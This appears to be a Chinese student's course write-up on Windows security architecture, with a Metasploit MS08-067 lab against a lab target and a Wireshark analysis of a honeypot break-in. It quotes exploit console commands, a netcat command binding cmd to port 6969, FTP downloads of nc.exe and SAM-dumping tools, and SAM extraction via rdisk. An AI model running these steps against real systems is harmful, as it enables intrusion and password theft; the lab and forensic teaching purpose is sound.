20199113 2019-2020-2 《网络攻防实践》第七周作业

20199113 2019-2020-2 《网络攻防实践》第七周作业

1实践内容

Windows操作系统的基本结构

Windows操作系统的基本结构分为运行于处理器特权模式(ring0)的操作系统内核,以及运行在处理器非特权模式(ring3)的用户空间代码。
Windows操作系统的基本结构示意图如下:

Windows操作系统内核的基本模块包括如下:

内核态_Windows执行体Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务;

Windows内核体:实现底层操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制;

设备驱动程序:将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行;

硬件抽象层:用于屏蔽Windows内核与平台硬件差异性的底层代码

WindowsGUI内核实现代码:即win32k.sys文件




Windows OS在用户态的代码模块包括:

系统支持进程:Windows开机自动启动的系统内建服务进程,如用于登录认证的logon进程;

环境子系统服务进程:为运行环境提供支持的服务进程;

服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务,如Task Scheduler任务管理器服务,Microsoft SQL Sever网络服务等;

用户应用软件:在用户态执行的各类用户应用软件;

核心子系统DLL:为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用;




Windows的网络机制:

物理层:网卡驱动程序,一般由厂商提供;

NDIS库以及miniport驱动程序:位于链路层、为物理层和传输层提供了一个接口。对上层模块屏蔽了网卡的类型,也对第三方厂商屏蔽了windows的编程接口;

TDI传输层:实现了一些传输协议栈,调用网卡驱动程序进行传输;

网络API DLL和TDI客户端:对应会话层和表示层,API DLL为应用程序提供了独立于协议的实现方式,TDI则负责API接口的实现;

网络应用程序:对应应用层,使用各类网络的API DLL来实现通信;




windows操作系统的安全体系结构和机制



Windows安全体系结构:

Windows操作系统基千引用监控器模型(Reference Monitor)来实现基本的对象安全模型,最关键的是位于内核的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,他们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制;



Windows身份认证机制:

Windows以安全主体的概念来包含所有进行资源访问请求的实体对象,包括用户、用户组和计算机三大类。对每个主体,有唯一SID来标识。Windows为每个用户和计算机设置账户进行管理,账户的根本作用是限制账户内运行的程序对系统资源的访问。用户组是为了简化管理引入的用户账户容器,通过将用户加入用户组,可以使用户拥有用户组的全部权限。Windows账户的口令经过hash后保存在SAM(Security Accounts Manager)文件或活动目录AD中。Winlogon进程、GINA图形化登录窗口与LSASS(Local Security Authority Service)服务协作完成本地身份认证过程。



Windows授权与访问控制机制:

在安全主体通过认证之后,Windows会给用户一个包含了安全主体SID的访问令牌。

用户在启动进程的时候,进程在他的控制块中也会有一个集成账户安全令牌的所有访问权限的安全令牌。

对于需要保护的资源,windows会将其抽象成对象,每个对象都会关联一个SD安全描述符。

一个安全描述符包括:对象所有者的SID标识符、对象所在的用户组的SID标识符、自主访问控制列表、系统审计访问控制列表。



Windows安全审计机制:

统审计策略在本地安全策略中由系 统管理员定义,来确定系统对哪些事件进行记录



windows远程安全攻防技术

windows的远程攻击可以大致分为:

远程口令猜测和破解攻击攻击windows网络服务:关闭易受攻击的网络服务、配置防火墙、使用更安全的协议、使用强口令

网络服务远程渗透攻击:打补丁、实施攻击缓解配置、利用安全核对清单对服务进行配置、安全增强插件、及时修复漏洞

攻击windows客户端和用户:使用安全的软件、及时更新软件



Windows本地安全攻防技术

windows本地提权:在攻击者获得了widows的一定的权限之后,他们会尝试获得最高的权限。本地提权攻击都是利用系统的各种漏洞,所以针对本地提权攻击,最好的办法就是即使打好各种补丁。

Windows敏感信息窃取:

  • Windows系统口令字密文提取:在攻入windows之后,攻击者就有可能获得关键信息的密文文件。

  • windows系统口令字破解:在获得密文文件之后,自然就是要对密文进行解密。

  • 防范措施:使用安全度高、能抵挡破解的口令



windows消灭踪迹

主要手段包括:关闭审计功能、清理事件日志。

防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。



远程控制与后门

主要手段包括:向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。

防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

2.实践过程

动手实践:Metasploit Windows Attack

任务:使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权;


机器 角色 IP
kali 攻击机 192.168.200.2
Win2KServer 靶机 192.168.200.124

在kali打开metasploit,输入msfconsole,回车后就会进入到他的控制台界面,然后先搜索一下ms08_067漏洞,搜索结果如下图。这是针对这个漏洞的渗透攻击模块。


use exploit/windows/smb/ms08_067_netapi看路径可以知道这是一个可用于渗透攻击的,攻击Windows SMB协议的,针对漏洞ms08-067 然后用show payloads显示可用payload

输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接;

输入show options展示渗透攻击需要设置的参数;

输入show targets展示可渗透攻击的靶机的操作系统及版本;

输入set LHOST 192.168.200.2设置渗透攻击的主机是kali;
输入set RHOST 192.168.200.124设置渗透攻击的靶机IP;

输入exploit开始渗透攻击;

在kali上执行ipconfig/all得到如下图所示,查询到了靶机的IP

动手实践:解码一次成功的NT系统破解攻击。

任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106 (主机名为: lab.wiretrip.net), 这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。

你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程。

  • 攻击者使用了什么破解工具进行攻击?

  • 攻击者如何使用这个破解工具进入并控制了系统?

  • 当攻击者获得系统的访问权后做了什么?

  • 我们如何防止这样的攻击?

  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?




用Wireshark打开日志文件发现日志文件由以下内容组成:

  • 可识别的HTTP协议内容
  • 可识别的SQL语言代码内容
  • 可识别的系统操作代码内容
  • 不可识别的数据(二进制数据)


wireshark打开.log文件,统计>HTTP->请求

按条件筛选ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,找到No.117数据包,发现boot.ini启动,以及Unicode编码%C0%AF

再往下,可以看到攻击者试图向服务器获取一个msadcs.dll文件

对No.149追踪tcp流,可以看到字符串"ADM!ROX!YOUR!WORLD"和查询语句中的dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,经查询得知,这次攻击是由rain forest puppy编写的msadc(2).pl渗透代码发起的

在HTTP流中还发现了一组shell脚本代码:

通过图可以看到字符串ADM!ROX!YOUR!WORLD出现的频率很高,通过查询发现这是一个名为msadc2.pl工具发起的攻击

筛选ftp连接,发现直到编号1106连接成功的:

追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。

在下载完文件之后,查看到 1224 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限

用tcp.port == 6969筛选一下,然后追踪一下TCP流来发现攻击者的行为
攻击者首先尝试列出会话,但因为权限问题被拒绝:

列出用户:

发了一个 echo 消息到 C 盘根目录文件 README.NOW.Hax0r:

删除了若干文件:

使用 rdisk 尝试获得 SAM 口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印:

从上图的tcp流可以看到攻击者的行为:例如:dir;type readme.e;et group;等等

Windows系统远程渗透攻击与分析

任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。
我们重复实践一的步骤,在运行最后一步exploit时开启wireshark,我们可以看到靶机与攻击机的ip地址,端口信息等

由图可以发现攻击方IP地址为192.168.200.2,端口为42641;防守方IP地址为192.168.200.124,端口为445

3.学习中遇到的问题及解决

kali 中 msfconsole 命令无效。
安装 metasploit-framework 即可解决。

猜你喜欢

转载自www.cnblogs.com/yz0218/p/12701153.html